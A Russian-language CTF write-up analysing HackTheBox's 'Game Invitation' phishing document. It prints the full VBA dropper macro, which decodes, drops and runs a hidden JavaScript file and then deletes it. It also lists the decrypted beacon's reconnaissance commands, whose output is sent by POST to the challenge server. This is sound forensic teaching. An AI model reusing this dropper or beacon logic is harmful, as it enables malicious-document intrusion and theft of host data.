Приглашение с «сюрпризом»

Закончился ежегодный CTF от HackTheBox Cyber Apocalypse 2024: Hacker Royale — After Party и конечно, там снова были интересные задания по форензике, которые удалось решить за отведённое на CTF время. В этом райтапе хочу поделиться решением задания «Game Invitation» по форензике уровня Hard. Заодно попрактиковаться в разборе фишинговых вложений и исследовании VBA-кода. 

Небольшая вводная:

In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: «Join The Fray: Embrace the Challenge.» But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?

Решать задание будем на подготовленных виртуальных машинах под ОС Windows (не имеет доступ в сеть интернет), с предустановленным браузером Chrome и MS Office Word и REMnux с предустановленными oletools.

После загрузки задания пред нами предстанет файл invitation.docm (docm означает, что в файле имеется VBA-макрос). Посмотрим на него подробнее, в этом нам помогут набор утилит oletools от Didier’a Stevens’a:

olevba3 invitation.docm

Рисунок 1 – анализ содержимого при помощи oletools.

Рисунок 1 — анализ содержимого при помощи oletools.

Рисунок 2 - резюмирующая таблица.

Рисунок 2 — резюмирующая таблица.

В результате получаем код VBA-макроса (листинг 1, представлен ниже) и резюмирующую таблицу (рисунок 2), в которой описаны популярные трюки, которые используют атакующие. Например, выполняется код при открытии файла (функция AutoOpen) и закрытии файла (функция AutoClose), а также другие Xor, Shell, Put. Давайте взглянем на них подробнее, чтобы разобраться, что происходит в коде.

Листинг 1 — код VBA-макроса

Public IAiiymixt As String
Public kWXlyKwVj As String


Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function

Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub

Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then

Else

Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
    Set vTxAnSEFH = CreateObject("vbscript.regexp")
    vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
    Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub

Анализ VBA-макроса.

Давайте разберемся, что здесь происходит и заодно отредактируем код для дальнейшего исследования.

После открытия файла пользователем (если у него включены макросы — и отжато «разрешить редактирование» и «включить содержимое») выполняется функция AutoOpen (), где прежде всего проверяется наличие ошибок (функция MnOWqnnpKXfRO и в случае их обнаружения, при помощи оператора GoTo, происходит переход на функцию MnOWqnnpKXfRO, в которой осуществляется закрытие объекта #K764B5Ph46Vh. Нам необходимо изучить все артефакты, которые способен отдать нам макрос, поэтому закомментируем функцию MnOWqnnpKXfRO и все её упоминания в коде (комментарий в VBA осуществляется через знак ') .

'MnOWqnnpKXfRO:
'Close #K764B5Ph46Vh
'ActiveDocument.Save

После чего идёт проверка, что домена, на котором запускается файл на наличие записи »GAMEMASTERS.local». В случае, если это не так, выполняется остальной код (это сделано, чтобы код не запускался в домене GAMEMASTERS.local, где он, собственно, и разрабатывался). В объявленную переменную file_length записывается размер ранее загруженного файла invitation.docm в байтах (с использованием FileLen (ActiveDocument.FullName)), после чего файл открывается на побайтовое чтение. Функция Get #gIvqmZwiW, 1, CbkQJVeAG возвращает массив байтов с 1-го элемента нашего файла (объект #gIvqmZwiW = invitation.docm). Далее происходит конвертация байтов в строку SwMbxtWpP = StrConv (CbkQJVeAG, vbUnicode) и уже с помощью регулярных выражений и шаблона «sWcDWp36×5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa», полученное содержимое преобразовывается в массив строк длинной 133027 символа, после чего содержимое с элемента 133027 + 81 записывается в массив байт Wk4o3×7x1134j. На следующем этапе идёт преобразование путём операции XOR каждого элемента с ключом 45, за это отвечает функция JFqcfEGnc ()

Получившаяся на выходе полезная нагрузка записывается в javascript файл mailform.js по пути %APPDATA%\mailform.js (IAiiymixt = kWXlyKwVj & »\» & «mailform.js»), при помощи функции Put #K764B5Ph46Vh, 1, Wk4o3×7x1134j. Давайте на данном этапе изменим путь на удобный для нас: kWXlyKwVj = «C:\Users\Antony\Desktop\forensics_game_invitation». После успешной записи файл mailform.js запускается через wscript.exe: Set R66BpJMgxXBo2h = CreateObject («WScript.Shell») с аргументом «vF8rdgMHKBrvCoCp0ulm». Перед тем как переходить к исследованию файла mailform.js, необходимо закомментировать функцию AutoClose (), т.к. код внутри функции отвечает за удаление файла mailform.js сразу после закрытия документа.

' Sub AutoClose()  'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub

Исследование дропнутой полезной нагрузки в mailform.js.

Пришло время исследовать JS файл mailform.js с полезной нагрузкой. Для удобства изучения, загрузим содержимое в JS Beautifier (https://beautifier.io/). 

fb3155738037a8bd0e219b1978ed78ee.JPG320266d81b6e8a6f2e1ea62f684b2f3f.JPG

Время — ресурс ограниченный, особенно на CTF поэтому погружаться в работу функций по декодированию/расшифрованию: function JrvS®, function b® и function xR68(r, a) я особо не стал, решив, что дебаг и получение полезной нагрузки в открытом виде наиболее быстрый путь решения задачи. Как мне удалось выяснить в дальнейшем, функция JrvS () отвечает за декодирование из Base64, а функция xR68() за расшифрование алгоритмом RC4 на ключе, который передаётся аргументом (как мы уже заметили из кода VBA-макроса). Давайте изменим данный скрипт и подставим значение-ключ из VBA-макроса «vF8rdgMHKBrvCoCp0ulm», которое передаётся при запуске (заменив var DASz = lVky (0); на var DASz = «vF8rdgMHKBrvCoCp0ulm»;. А также удалим содержимое: | и прочее содержимое на 80 строке. Полученный JS код можно запустить в браузере через консоль разработчика на виртуальной машине или воспользоваться утилитой box-js в образе REMnux (подробнее).

Важно помнить, что исследование в динамике вредоносных файлов должно производиться исключительно на виртуальных машинах без доступа в сеть интернет.

Открыв консоль в браузере (на виртуальной машине), выполним модифицированный нами JS код. После выполнения мы получаем расшифрованный JS-код (строка).

4df820b985595ab44aebf949ab961b0c.JPG

Загрузим также содержимое в JS Beautifier (https://beautifier.io/).  

Мы получили C2 Beacon на JS,  который собирает информацио о скомпрометированном хосте (var LwHA = new Array («systeminfo > », «net view >> », «net view /domain >> », «tasklist /v >> », «gpresult /z >> », «netstat -nao >> », «ipconfig /all >> », «arp -a >> », «net share >> », «net use >> », «net user >> », «net user administrator >> », «net user /domain >> », «net user administrator /domain >> », «set  >> », «dir %systemdrive%\\\\Users\\\\*.* >> », «dir %userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Recent\\\\*.* >> », «dir %userprofile%\\\\Desktop\\\\*.* >> », 'tasklist /fi «modules eq wow64.dll»  >> ', 'tasklist /fi «modules ne wow64.dll» >> ', 'dir »%programfiles (x86)%» >> ', 'dir »%programfiles%» >> ', «dir %appdata% >>»);) и передаёт на сервер challenge.htb через POST запросы.

9c4300a0d60c17759fc7c7768ce58b0c.jpegbd48ecc3ac22eea034f392e0a746fd49.jpeg

В Cookie POST-запросов и был найден флаг в Base64.

6354789a2cf77bd0adc81e94c0f4f8d9.jpeg


Заключение:

Такое нетрудное задание было на CTF по форензике уровня Hard =).

© Habrahabr.ru